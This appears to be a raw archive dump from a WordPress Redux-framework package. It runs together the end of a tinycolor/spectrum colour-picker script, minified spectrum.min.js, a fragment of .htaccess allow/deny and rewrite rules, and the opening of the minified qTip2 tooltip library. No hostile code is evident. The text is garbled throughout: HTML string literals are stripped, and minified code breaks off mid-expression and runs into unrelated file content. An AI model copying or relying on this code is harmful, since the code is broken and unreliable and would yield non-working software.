Force a hex value to have 2 characters function pad2(c) { return c.length == 1 ? '0' + c : '' + c; } // Replace a decimal with it's percentage value function convertToPercentage(n) { if (n <= 1) { n = (n * 100) + "%"; } return n; } // Converts a decimal to a hex value function convertDecimalToHex(d) { return Math.round(parseFloat(d) * 255).toString(16); } // Converts a hex value to a decimal function convertHexToDecimal(h) { return (parseIntFromHex(h) / 255); } var matchers = (function() { // var CSS_INTEGER = "[-\\+]?\\d+%?"; // var CSS_NUMBER = "[-\\+]?\\d*\\.\\d+%?"; // Allow positive/negative integer/number. Don't capture the either/or, just the entire outcome. var CSS_UNIT = "(?:" + CSS_NUMBER + ")|(?:" + CSS_INTEGER + ")"; // Actual matching. // Parentheses and commas are optional, but not required. // Whitespace can take the place of commas or opening paren var PERMISSIVE_MATCH3 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; var PERMISSIVE_MATCH4 = "[\\s|\\(]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")[,|\\s]+(" + CSS_UNIT + ")\\s*\\)?"; return { rgb: new RegExp("rgb" + PERMISSIVE_MATCH3), rgba: new RegExp("rgba" + PERMISSIVE_MATCH4), hsl: new RegExp("hsl" + PERMISSIVE_MATCH3), hsla: new RegExp("hsla" + PERMISSIVE_MATCH4), hsv: new RegExp("hsv" + PERMISSIVE_MATCH3), hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/, hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/, hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/ }; })(); // `stringInputToObject` // Permissive string parsing. Take in a number of formats, and output an object // based on detected format. Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}` function stringInputToObject(color) { color = color.replace(trimLeft,'').replace(trimRight, '').toLowerCase(); var named = false; if (names[color]) { color = names[color]; named = true; } else if (color == 'transparent') { return { r: 0, g: 0, b: 0, a: 0, format: "name" }; } // Try to match string input using regular expressions. // Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360] // Just return an object and let the conversion functions handle that. // This way the result will be the same whether the tinycolor is initialized with string or object. var match; if ((match = matchers.rgb.exec(color))) { return { r: match[1], g: match[2], b: match[3] }; } if ((match = matchers.rgba.exec(color))) { return { r: match[1], g: match[2], b: match[3], a: match[4] }; } if ((match = matchers.hsl.exec(color))) { return { h: match[1], s: match[2], l: match[3] }; } if ((match = matchers.hsla.exec(color))) { return { h: match[1], s: match[2], l: match[3], a: match[4] }; } if ((match = matchers.hsv.exec(color))) { return { h: match[1], s: match[2], v: match[3] }; } if ((match = matchers.hex8.exec(color))) { return { a: convertHexToDecimal(match[1]), r: parseIntFromHex(match[2]), g: parseIntFromHex(match[3]), b: parseIntFromHex(match[4]), format: named ? "name" : "hex8" }; } if ((match = matchers.hex6.exec(color))) { return { r: parseIntFromHex(match[1]), g: parseIntFromHex(match[2]), b: parseIntFromHex(match[3]), format: named ? "name" : "hex" }; } if ((match = matchers.hex3.exec(color))) { return { r: parseIntFromHex(match[1] + '' + match[1]), g: parseIntFromHex(match[2] + '' + match[2]), b: parseIntFromHex(match[3] + '' + match[3]), format: named ? "name" : "hex" }; } return false; } // Expose tinycolor to window, does not need to run in non-browser context. window.tinycolor = tinycolor; })(); $(function () { if ($.fn.spectrum.load) { $.fn.spectrum.processNativeColorInputs(); } }); })(window, jQuery); lib/redux-framework/assets/js/vendor/spectrum/redux-spectrum.min.js000064400000056663147206624460021653 0ustar00!function(Ne,qe,Ee){var e,je={beforeShow:r,move:r,change:r,show:r,hide:r,color:!1,flat:!1,showInput:!1,allowEmpty:!1,showButtons:!0,clickoutFiresChange:!1,showInitial:!1,showPalette:!1,showPaletteOnly:!1,showSelectionPalette:!0,localStorageKey:!1,appendTo:"body",maxSelectionSize:7,cancelText:"cancel",chooseText:"choose",clearText:"Clear Color Selection",preferredFormat:!1,className:"",containerClassName:"",replacerClassName:"",showAlpha:!1,theme:"sp-light",palette:[["#ffffff","#000000","#ff0000","#ff8000","#ffff00","#008000","#0000ff","#4b0082","#9400d3"]],selectionPalette:[],disabled:!1,inputText:""},De=[],Ie=!!/msie/i.exec(Ne.navigator.userAgent),ze=function(){function e(e,t){return!!~(""+e).indexOf(t)}var t=document.createElement("div").style;return t.cssText="background-color:rgba(0,0,0,.5)",e(t.backgroundColor,"rgba")||e(t.backgroundColor,"hsla")}(),Ke="color"===(e=qe("")[0]).type&&"#ffffff"!==e.value,$e=["
    ","
    ","
    ","
    "].join(""),_e=function(){var e="";if(Ie)for(var t=1;t<=6;t++)e+="
    ";return["
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ","
    ",e,"
    ","
    ","
    ","
    ","
    ","","
    ","
    ","
    ","","","
    ","
    ","
    "].join("")}();function Be(e,t,r,a){for(var n=[],o=0;o')}else{n.push('')}}return"
    "+n.join("")+"
    "}function t(e,t){var r,a,n,o,s,l,c,f=(s=t,l=e,(c=qe.extend({},je,s)).callbacks={move:Le(c.move,l),change:Le(c.change,l),show:Le(c.show,l),hide:Le(c.hide,l),beforeShow:Le(c.beforeShow,l)},c),d=f.flat,u=f.showSelectionPalette,h=f.localStorageKey,p=f.theme,g=f.callbacks,b=(r=Me,a=10,function(){var e=this,t=arguments;n&&clearTimeout(o),!n&&o||(o=setTimeout(function(){o=null,r.apply(e,t)},a))}),v=!1,m=0,y=0,w=0,x=0,k=0,S=0,C=0,P=0,H=0,A=0,F=1,R=[],M=[],O={},T=f.selectionPalette.slice(0),N=f.maxSelectionSize,q="sp-dragging",E=f.inputText,j=null,D=e.ownerDocument,I=(D.body,qe(e)),z=!1,K=qe(_e,D).addClass(p),$=K.find(".sp-color"),_=K.find(".sp-dragger"),B=K.find(".sp-hue"),X=K.find(".sp-slider"),L=K.find(".sp-alpha-inner"),W=K.find(".sp-alpha"),Y=K.find(".sp-alpha-handle"),G=K.find(".sp-input"),Q=K.find(".sp-palette"),V=K.find(".sp-initial"),J=K.find(".sp-cancel"),U=K.find(".sp-clear"),Z=K.find(".sp-choose"),ee=I.is("input"),te=ee&&Ke&&"color"===I.attr("type"),re=ee&&!d,ae=re?qe($e).addClass(p).addClass(f.className).addClass(f.replacerClassName):qe([]),ne=re?ae:I,oe=ae.find(".sp-preview-inner"),se=f.color||ee&&I.val(),ie=!1,le=f.preferredFormat,ce=le,fe=!f.showButtons||f.clickoutFiresChange,de=!se,ue=f.allowEmpty&&!te;""!==E&&qe(ne).find("div.sp-dd").text(E);function he(){if(f.showPaletteOnly&&(f.showPalette=!0),f.palette){R=f.palette.slice(0),M=qe.isArray(R[0])?R:[R],O={};for(var e=0;eN;)T.shift();if(h&&Ne.localStorage)try{Ne.localStorage[h]=T.join(";")}catch(e){}}}function be(){var r=Pe(),e=qe.map(M,function(e,t){return Be(e,r,"sp-palette-row sp-palette-row-"+t,f.preferredFormat)});pe(),T&&e.push(Be(function(){var e=[];if(f.showPalette)for(i=0;ii&&rl&&aMath.abs(t-n);j=o?"x":"y"}}else j=null;var s=!j||"y"===j;(!j||"x"===j)&&(H=parseFloat(e/m)),s&&(A=parseFloat((y-t)/y)),de=!1,f.showAlpha||(F=1),He()},me,ye),se?(Ce(se),Ae(),ce=le||tinycolor(se).format,ge(se)):Ae(),d&&ke();var r=Ie?"mousedown.spectrum":"click.spectrum touchstart.spectrum";Q.delegate(".sp-thumb-el",r,t),V.delegate(".sp-thumb-el:nth-child(1)",r,{ignore:!0},t)}();var Te={show:ke,hide:Se,toggle:xe,reflow:Me,option:function(e,t){return e===Ee?qe.extend({},f):t===Ee?f[e]:(f[e]=t,void he())},enable:function(){z=!1,I.attr("disabled",!1),ne.removeClass("sp-disabled")},disable:Oe,set:function(e){Ce(e),Re()},get:Pe,destroy:function(){I.show(),ne.unbind("click.spectrum touchstart.spectrum"),K.remove(),ae.remove(),De[Te.id]=null},container:K};return Te.id=De.push(Te)-1,Te}function r(){}function Xe(e){e.stopPropagation()}function Le(e,t){var r=Array.prototype.slice,a=r.call(arguments,2);return function(){return e.apply(t,a.concat(r.call(arguments)))}}function We(s,i,r,e){i=i||function(){},r=r||function(){},e=e||function(){};var a=s.ownerDocument||document,l=!1,c={},f=0,d=0,u="ontouchstart"in Ne,n={};function h(e){e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault(),e.returnValue=!1}function o(e){if(l){if(Ie&&document.documentMode<9&&!e.button)return p();var t=e.originalEvent.touches,r=t?t[0].pageX:e.pageX,a=t?t[0].pageY:e.pageY,n=Math.max(0,Math.min(r-c.left,d)),o=Math.max(0,Math.min(a-c.top,f));u&&h(e),i.apply(s,[n,o,e])}}function p(){l&&(qe(a).unbind(n),qe(a.body).removeClass("sp-dragging"),e.apply(s,arguments)),l=!1}n.selectstart=h,n.dragstart=h,n["touchmove mousemove"]=o,n["touchend mouseup"]=p,qe(s).bind("touchstart mousedown",function(e){var t=e.which?3==e.which:2==e.button;e.originalEvent.touches,t||l||!1!==r.apply(s,arguments)&&(l=!0,f=qe(s).height(),d=qe(s).width(),c=qe(s).offset(),qe(a).bind(n),qe(a.body).addClass("sp-dragging"),u||o(e),h(e))})}var o="spectrum.id";qe.fn.spectrum=function(r,e){if("string"!=typeof r)return this.spectrum("destroy").each(function(){var e=t(this,qe.extend({},r,qe(this).data()));qe(this).data(o,e.id)});var a=this,n=Array.prototype.slice.call(arguments,1);return this.each(function(){var e=De[qe(this).data(o)];if(e){var t=e[r];if(!t)throw new Error("Spectrum: no such method: '"+r+"'");"get"==r?a=e.get():"container"==r?a=e.container:"option"==r?a=e.option.apply(e,n):"destroy"==r?(e.destroy(),qe(this).removeData(o)):t.apply(e,n)}}),a},qe.fn.spectrum.load=!0,qe.fn.spectrum.loadOpts={},qe.fn.spectrum.draggable=We,qe.fn.spectrum.defaults=je,qe.spectrum={},qe.spectrum.localization={},qe.spectrum.palettes={},qe.fn.spectrum.processNativeColorInputs=function(){Ke||qe("input[type=color]").spectrum({preferredFormat:"hex6"})},function(){var f=/^[\s,#]+/,d=/\s+$/,a=0,u=Math,h=u.round,p=u.min,g=u.max,e=u.random;function b(e,n){if(n=n||{},"object"==typeof(e=e||"")&&e.hasOwnProperty("_tc_id"))return e;var t=function(e){var t={r:0,g:0,b:0},r=1,a=!1,n=!1;"string"==typeof e&&(e=function(e){e=e.replace(f,"").replace(d,"").toLowerCase();var t,r=!1;if(x[e])e=x[e],r=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};if(t=A.rgb.exec(e))return{r:t[1],g:t[2],b:t[3]};if(t=A.rgba.exec(e))return{r:t[1],g:t[2],b:t[3],a:t[4]};if(t=A.hsl.exec(e))return{h:t[1],s:t[2],l:t[3]};if(t=A.hsla.exec(e))return{h:t[1],s:t[2],l:t[3],a:t[4]};if(t=A.hsv.exec(e))return{h:t[1],s:t[2],v:t[3]};if(t=A.hex8.exec(e))return{a:(a=t[1],P(a)/255),r:P(t[2]),g:P(t[3]),b:P(t[4]),format:r?"name":"hex8"};var a;if(t=A.hex6.exec(e))return{r:P(t[1]),g:P(t[2]),b:P(t[3]),format:r?"name":"hex"};if(t=A.hex3.exec(e))return{r:P(t[1]+""+t[1]),g:P(t[2]+""+t[2]),b:P(t[3]+""+t[3]),format:r?"name":"hex"};return!1}(e));"object"==typeof e&&(e.hasOwnProperty("r")&&e.hasOwnProperty("g")&&e.hasOwnProperty("b")?(o=e.r,s=e.g,i=e.b,t={r:255*C(o,255),g:255*C(s,255),b:255*C(i,255)},a=!0,n="%"===String(e.r).substr(-1)?"prgb":"rgb"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("v")?(e.s=H(e.s),e.v=H(e.v),t=function(e,t,r){e=6*C(e,360),t=C(t,100),r=C(r,100);var a=u.floor(e),n=e-a,o=r*(1-t),s=r*(1-n*t),i=r*(1-(1-n)*t),l=a%6;return{r:255*[r,s,o,o,i,r][l],g:255*[i,r,r,s,o,o][l],b:255*[o,o,i,r,r,s][l]}}(e.h,e.s,e.v),a=!0,n="hsv"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("l")&&(e.s=H(e.s),e.l=H(e.l),t=function(e,t,r){var a,n,o;function s(e,t,r){return r<0&&(r+=1),1>1)+720)%360;--t;)a.h=(a.h+n)%360,o.push(b(a));return o},b.monochromatic=function(e,t){t=t||6;for(var r=b(e).toHsv(),a=r.h,n=r.s,o=r.v,s=[],i=1/t;t--;)s.push(b({h:a,s:n,v:o})),o=(o+i)%1;return s},b.readability=function(e,t){var r=b(e).toRgb(),a=b(t).toRgb(),n=(299*r.r+587*r.g+114*r.b)/1e3,o=(299*a.r+587*a.g+114*a.b)/1e3,s=Math.max(r.r,a.r)-Math.min(r.r,a.r)+Math.max(r.g,a.g)-Math.min(r.g,a.g)+Math.max(r.b,a.b)-Math.min(r.b,a.b);return{brightness:Math.abs(n-o),color:s}},b.readable=function(e,t){var r=b.readability(e,t);return 125 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/assets/js/vendor/qtip/jquery.qtip.min.js000064400000126414147206624460020262 0ustar00/* qTip2 v2.2.1 | Plugins: tips modal viewport svg imagemap ie6 | Styles: core basic css3 | qtip2.com | Licensed MIT | Sat Sep 06 2014 23:12:07 */ !function(a,b,c){!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):jQuery&&!jQuery.fn.qtip&&a(jQuery)}(function(d){"use strict";function e(a,b,c,e){this.id=c,this.target=a,this.tooltip=F,this.elements={target:a},this._id=S+"-"+c,this.timers={img:{}},this.options=b,this.plugins={},this.cache={event:{},target:d(),disabled:E,attr:e,onTooltip:E,lastClass:""},this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=E}function f(a){return a===F||"object"!==d.type(a)}function g(a){return!(d.isFunction(a)||a&&a.attr||a.length||"object"===d.type(a)&&(a.jquery||a.then))}function h(a){var b,c,e,h;return f(a)?E:(f(a.metadata)&&(a.metadata={type:a.metadata}),"content"in a&&(b=a.content,f(b)||b.jquery||b.done?b=a.content={text:c=g(b)?E:b}:c=b.text,"ajax"in b&&(e=b.ajax,h=e&&e.once!==E,delete b.ajax,b.text=function(a,b){var f=c||d(this).attr(b.options.content.attr)||"Loading...",g=d.ajax(d.extend({},e,{context:b})).then(e.success,F,e.error).then(function(a){return a&&h&&b.set("content.text",a),a},function(a,c,d){b.destroyed||0===a.status||b.set("content.text",c+": "+d)});return h?f:(b.set("content.text",f),g)}),"title"in b&&(d.isPlainObject(b.title)&&(b.button=b.title.button,b.title=b.title.text),g(b.title||E)&&(b.title=E))),"position"in a&&f(a.position)&&(a.position={my:a.position,at:a.position}),"show"in a&&f(a.show)&&(a.show=a.show.jquery?{target:a.show}:a.show===D?{ready:D}:{event:a.show}),"hide"in a&&f(a.hide)&&(a.hide=a.hide.jquery?{target:a.hide}:{event:a.hide}),"style"in a&&f(a.style)&&(a.style={classes:a.style}),d.each(R,function(){this.sanitize&&this.sanitize(a)}),a)}function i(a,b){for(var c,d=0,e=a,f=b.split(".");e=e[f[d++]];)d0?setTimeout(d.proxy(a,this),b):void a.call(this)}function m(a){this.tooltip.hasClass(ab)||(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this.timers.show=l.call(this,function(){this.toggle(D,a)},this.options.show.delay))}function n(a){if(!this.tooltip.hasClass(ab)&&!this.destroyed){var b=d(a.relatedTarget),c=b.closest(W)[0]===this.tooltip[0],e=b[0]===this.options.show.target[0];if(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this!==b[0]&&"mouse"===this.options.position.target&&c||this.options.hide.fixed&&/mouse(out|leave|move)/.test(a.type)&&(c||e))try{a.preventDefault(),a.stopImmediatePropagation()}catch(f){}else this.timers.hide=l.call(this,function(){this.toggle(E,a)},this.options.hide.delay,this)}}function o(a){!this.tooltip.hasClass(ab)&&this.options.hide.inactive&&(clearTimeout(this.timers.inactive),this.timers.inactive=l.call(this,function(){this.hide(a)},this.options.hide.inactive))}function p(a){this.rendered&&this.tooltip[0].offsetWidth>0&&this.reposition(a)}function q(a,c,e){d(b.body).delegate(a,(c.split?c:c.join("."+S+" "))+"."+S,function(){var a=y.api[d.attr(this,U)];a&&!a.disabled&&e.apply(a,arguments)})}function r(a,c,f){var g,i,j,k,l,m=d(b.body),n=a[0]===b?m:a,o=a.metadata?a.metadata(f.metadata):F,p="html5"===f.metadata.type&&o?o[f.metadata.name]:F,q=a.data(f.metadata.name||"qtipopts");try{q="string"==typeof q?d.parseJSON(q):q}catch(r){}if(k=d.extend(D,{},y.defaults,f,"object"==typeof q?h(q):F,h(p||o)),i=k.position,k.id=c,"boolean"==typeof k.content.text){if(j=a.attr(k.content.attr),k.content.attr===E||!j)return E;k.content.text=j}if(i.container.length||(i.container=m),i.target===E&&(i.target=n),k.show.target===E&&(k.show.target=n),k.show.solo===D&&(k.show.solo=i.container.closest("body")),k.hide.target===E&&(k.hide.target=n),k.position.viewport===D&&(k.position.viewport=i.container),i.container=i.container.eq(0),i.at=new A(i.at,D),i.my=new A(i.my),a.data(S))if(k.overwrite)a.qtip("destroy",!0);else if(k.overwrite===E)return E;return a.attr(T,c),k.suppress&&(l=a.attr("title"))&&a.removeAttr("title").attr(cb,l).attr("title",""),g=new e(a,k,c,!!j),a.data(S,g),g}function s(a){return a.charAt(0).toUpperCase()+a.slice(1)}function t(a,b){var d,e,f=b.charAt(0).toUpperCase()+b.slice(1),g=(b+" "+rb.join(f+" ")+f).split(" "),h=0;if(qb[b])return a.css(qb[b]);for(;d=g[h++];)if((e=a.css(d))!==c)return qb[b]=d,e}function u(a,b){return Math.ceil(parseFloat(t(a,b)))}function v(a,b){this._ns="tip",this.options=b,this.offset=b.offset,this.size=[b.width,b.height],this.init(this.qtip=a)}function w(a,b){this.options=b,this._ns="-modal",this.init(this.qtip=a)}function x(a){this._ns="ie6",this.init(this.qtip=a)}var y,z,A,B,C,D=!0,E=!1,F=null,G="x",H="y",I="width",J="height",K="top",L="left",M="bottom",N="right",O="center",P="flipinvert",Q="shift",R={},S="qtip",T="data-hasqtip",U="data-qtip-id",V=["ui-widget","ui-tooltip"],W="."+S,X="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),Y=S+"-fixed",Z=S+"-default",$=S+"-focus",_=S+"-hover",ab=S+"-disabled",bb="_replacedByqTip",cb="oldtitle",db={ie:function(){for(var a=4,c=b.createElement("div");(c.innerHTML="")&&c.getElementsByTagName("i")[0];a+=1);return a>4?a:0/0}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||E};z=e.prototype,z._when=function(a){return d.when.apply(d,a)},z.render=function(a){if(this.rendered||this.destroyed)return this;var b,c=this,e=this.options,f=this.cache,g=this.elements,h=e.content.text,i=e.content.title,j=e.content.button,k=e.position,l=("."+this._id+" ",[]);return d.attr(this.target[0],"aria-describedby",this._id),f.posClass=this._createPosClass((this.position={my:k.my,at:k.at}).my),this.tooltip=g.tooltip=b=d("
    ",{id:this._id,"class":[S,Z,e.style.classes,f.posClass].join(" "),width:e.style.width||"",height:e.style.height||"",tracking:"mouse"===k.target&&k.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":E,"aria-describedby":this._id+"-content","aria-hidden":D}).toggleClass(ab,this.disabled).attr(U,this.id).data(S,this).appendTo(k.container).append(g.content=d("
    ",{"class":S+"-content",id:this._id+"-content","aria-atomic":D})),this.rendered=-1,this.positioning=D,i&&(this._createTitle(),d.isFunction(i)||l.push(this._updateTitle(i,E))),j&&this._createButton(),d.isFunction(h)||l.push(this._updateContent(h,E)),this.rendered=D,this._setWidget(),d.each(R,function(a){var b;"render"===this.initialize&&(b=this(c))&&(c.plugins[a]=b)}),this._unassignEvents(),this._assignEvents(),this._when(l).then(function(){c._trigger("render"),c.positioning=E,c.hiddenDuringWait||!e.show.ready&&!a||c.toggle(D,f.event,E),c.hiddenDuringWait=E}),y.api[this.id]=this,this},z.destroy=function(a){function b(){if(!this.destroyed){this.destroyed=D;var a,b=this.target,c=b.attr(cb);this.rendered&&this.tooltip.stop(1,0).find("*").remove().end().remove(),d.each(this.plugins,function(){this.destroy&&this.destroy()});for(a in this.timers)clearTimeout(this.timers[a]);b.removeData(S).removeAttr(U).removeAttr(T).removeAttr("aria-describedby"),this.options.suppress&&c&&b.attr("title",c).removeAttr(cb),this._unassignEvents(),this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=F,delete y.api[this.id]}}return this.destroyed?this.target:(a===D&&"hide"!==this.triggering||!this.rendered?b.call(this):(this.tooltip.one("tooltiphidden",d.proxy(b,this)),!this.triggering&&this.hide()),this.target)},B=z.checks={builtin:{"^id$":function(a,b,c,e){var f=c===D?y.nextid:c,g=S+"-"+f;f!==E&&f.length>0&&!d("#"+g).length?(this._id=g,this.rendered&&(this.tooltip[0].id=this._id,this.elements.content[0].id=this._id+"-content",this.elements.title[0].id=this._id+"-title")):a[b]=e},"^prerender":function(a,b,c){c&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(a,b,c){this._updateContent(c)},"^content.attr$":function(a,b,c,d){this.options.content.text===this.target.attr(d)&&this._updateContent(this.target.attr(c))},"^content.title$":function(a,b,c){return c?(c&&!this.elements.title&&this._createTitle(),void this._updateTitle(c)):this._removeTitle()},"^content.button$":function(a,b,c){this._updateButton(c)},"^content.title.(text|button)$":function(a,b,c){this.set("content."+b,c)},"^position.(my|at)$":function(a,b,c){"string"==typeof c&&(this.position[b]=a[b]=new A(c,"at"===b))},"^position.container$":function(a,b,c){this.rendered&&this.tooltip.appendTo(c)},"^show.ready$":function(a,b,c){c&&(!this.rendered&&this.render(D)||this.toggle(D))},"^style.classes$":function(a,b,c,d){this.rendered&&this.tooltip.removeClass(d).addClass(c)},"^style.(width|height)":function(a,b,c){this.rendered&&this.tooltip.css(b,c)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(a,b,c){this.rendered&&this.tooltip.toggleClass(Z,!!c)},"^events.(render|show|move|hide|focus|blur)$":function(a,b,c){this.rendered&&this.tooltip[(d.isFunction(c)?"":"un")+"bind"]("tooltip"+b,c)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(this.rendered){var a=this.options.position;this.tooltip.attr("tracking","mouse"===a.target&&a.adjust.mouse),this._unassignEvents(),this._assignEvents()}}}},z.get=function(a){if(this.destroyed)return this;var b=i(this.options,a.toLowerCase()),c=b[0][b[1]];return c.precedance?c.string():c};var eb=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,fb=/^prerender|show\.ready/i;z.set=function(a,b){if(this.destroyed)return this;{var c,e=this.rendered,f=E,g=this.options;this.checks}return"string"==typeof a?(c=a,a={},a[c]=b):a=d.extend({},a),d.each(a,function(b,c){if(e&&fb.test(b))return void delete a[b];var h,j=i(g,b.toLowerCase());h=j[0][j[1]],j[0][j[1]]=c&&c.nodeType?d(c):c,f=eb.test(b)||f,a[b]=[j[0],j[1],c,h]}),h(g),this.positioning=D,d.each(a,d.proxy(j,this)),this.positioning=E,this.rendered&&this.tooltip[0].offsetWidth>0&&f&&this.reposition("mouse"===g.position.target?F:this.cache.event),this},z._update=function(a,b){var c=this,e=this.cache;return this.rendered&&a?(d.isFunction(a)&&(a=a.call(this.elements.target,e.event,this)||""),d.isFunction(a.then)?(e.waiting=D,a.then(function(a){return e.waiting=E,c._update(a,b)},F,function(a){return c._update(a,b)})):a===E||!a&&""!==a?E:(a.jquery&&a.length>0?b.empty().append(a.css({display:"block",visibility:"visible"})):b.html(a),this._waitForContent(b).then(function(a){c.rendered&&c.tooltip[0].offsetWidth>0&&c.reposition(e.event,!a.length)}))):E},z._waitForContent=function(a){var b=this.cache;return b.waiting=D,(d.fn.imagesLoaded?a.imagesLoaded():d.Deferred().resolve([])).done(function(){b.waiting=E}).promise()},z._updateContent=function(a,b){this._update(a,this.elements.content,b)},z._updateTitle=function(a,b){this._update(a,this.elements.title,b)===E&&this._removeTitle(E)},z._createTitle=function(){var a=this.elements,b=this._id+"-title";a.titlebar&&this._removeTitle(),a.titlebar=d("
    ",{"class":S+"-titlebar "+(this.options.style.widget?k("header"):"")}).append(a.title=d("
    ",{id:b,"class":S+"-title","aria-atomic":D})).insertBefore(a.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",function(a){d(this).toggleClass("ui-state-active ui-state-focus","down"===a.type.substr(-4))}).delegate(".qtip-close","mouseover mouseout",function(a){d(this).toggleClass("ui-state-hover","mouseover"===a.type)}),this.options.content.button&&this._createButton()},z._removeTitle=function(a){var b=this.elements;b.title&&(b.titlebar.remove(),b.titlebar=b.title=b.button=F,a!==E&&this.reposition())},z._createPosClass=function(a){return S+"-pos-"+(a||this.options.position.my).abbrev()},z.reposition=function(c,e){if(!this.rendered||this.positioning||this.destroyed)return this;this.positioning=D;var f,g,h,i,j=this.cache,k=this.tooltip,l=this.options.position,m=l.target,n=l.my,o=l.at,p=l.viewport,q=l.container,r=l.adjust,s=r.method.split(" "),t=k.outerWidth(E),u=k.outerHeight(E),v=0,w=0,x=k.css("position"),y={left:0,top:0},z=k[0].offsetWidth>0,A=c&&"scroll"===c.type,B=d(a),C=q[0].ownerDocument,F=this.mouse;if(d.isArray(m)&&2===m.length)o={x:L,y:K},y={left:m[0],top:m[1]};else if("mouse"===m)o={x:L,y:K},(!r.mouse||this.options.hide.distance)&&j.origin&&j.origin.pageX?c=j.origin:!c||c&&("resize"===c.type||"scroll"===c.type)?c=j.event:F&&F.pageX&&(c=F),"static"!==x&&(y=q.offset()),C.body.offsetWidth!==(a.innerWidth||C.documentElement.clientWidth)&&(g=d(b.body).offset()),y={left:c.pageX-y.left+(g&&g.left||0),top:c.pageY-y.top+(g&&g.top||0)},r.mouse&&A&&F&&(y.left-=(F.scrollX||0)-B.scrollLeft(),y.top-=(F.scrollY||0)-B.scrollTop());else{if("event"===m?c&&c.target&&"scroll"!==c.type&&"resize"!==c.type?j.target=d(c.target):c.target||(j.target=this.elements.target):"event"!==m&&(j.target=d(m.jquery?m:this.elements.target)),m=j.target,m=d(m).eq(0),0===m.length)return this;m[0]===b||m[0]===a?(v=db.iOS?a.innerWidth:m.width(),w=db.iOS?a.innerHeight:m.height(),m[0]===a&&(y={top:(p||m).scrollTop(),left:(p||m).scrollLeft()})):R.imagemap&&m.is("area")?f=R.imagemap(this,m,o,R.viewport?s:E):R.svg&&m&&m[0].ownerSVGElement?f=R.svg(this,m,o,R.viewport?s:E):(v=m.outerWidth(E),w=m.outerHeight(E),y=m.offset()),f&&(v=f.width,w=f.height,g=f.offset,y=f.position),y=this.reposition.offset(m,y,q),(db.iOS>3.1&&db.iOS<4.1||db.iOS>=4.3&&db.iOS<4.33||!db.iOS&&"fixed"===x)&&(y.left-=B.scrollLeft(),y.top-=B.scrollTop()),(!f||f&&f.adjustable!==E)&&(y.left+=o.x===N?v:o.x===O?v/2:0,y.top+=o.y===M?w:o.y===O?w/2:0)}return y.left+=r.x+(n.x===N?-t:n.x===O?-t/2:0),y.top+=r.y+(n.y===M?-u:n.y===O?-u/2:0),R.viewport?(h=y.adjusted=R.viewport(this,y,l,v,w,t,u),g&&h.left&&(y.left+=g.left),g&&h.top&&(y.top+=g.top),h.my&&(this.position.my=h.my)):y.adjusted={left:0,top:0},j.posClass!==(i=this._createPosClass(this.position.my))&&k.removeClass(j.posClass).addClass(j.posClass=i),this._trigger("move",[y,p.elem||p],c)?(delete y.adjusted,e===E||!z||isNaN(y.left)||isNaN(y.top)||"mouse"===m||!d.isFunction(l.effect)?k.css(y):d.isFunction(l.effect)&&(l.effect.call(k,this,d.extend({},y)),k.queue(function(a){d(this).css({opacity:"",height:""}),db.ie&&this.style.removeAttribute("filter"),a()})),this.positioning=E,this):this},z.reposition.offset=function(a,c,e){function f(a,b){c.left+=b*a.scrollLeft(),c.top+=b*a.scrollTop()}if(!e[0])return c;var g,h,i,j,k=d(a[0].ownerDocument),l=!!db.ie&&"CSS1Compat"!==b.compatMode,m=e[0];do"static"!==(h=d.css(m,"position"))&&("fixed"===h?(i=m.getBoundingClientRect(),f(k,-1)):(i=d(m).position(),i.left+=parseFloat(d.css(m,"borderLeftWidth"))||0,i.top+=parseFloat(d.css(m,"borderTopWidth"))||0),c.left-=i.left+(parseFloat(d.css(m,"marginLeft"))||0),c.top-=i.top+(parseFloat(d.css(m,"marginTop"))||0),g||"hidden"===(j=d.css(m,"overflow"))||"visible"===j||(g=d(m)));while(m=m.offsetParent);return g&&(g[0]!==k[0]||l)&&f(g,1),c};var gb=(A=z.reposition.Corner=function(a,b){a=(""+a).replace(/([A-Z])/," $1").replace(/middle/gi,O).toLowerCase(),this.x=(a.match(/left|right/i)||a.match(/center/)||["inherit"])[0].toLowerCase(),this.y=(a.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase(),this.forceY=!!b;var c=a.charAt(0);this.precedance="t"===c||"b"===c?H:G}).prototype;gb.invert=function(a,b){this[a]=this[a]===L?N:this[a]===N?L:b||this[a]},gb.string=function(a){var 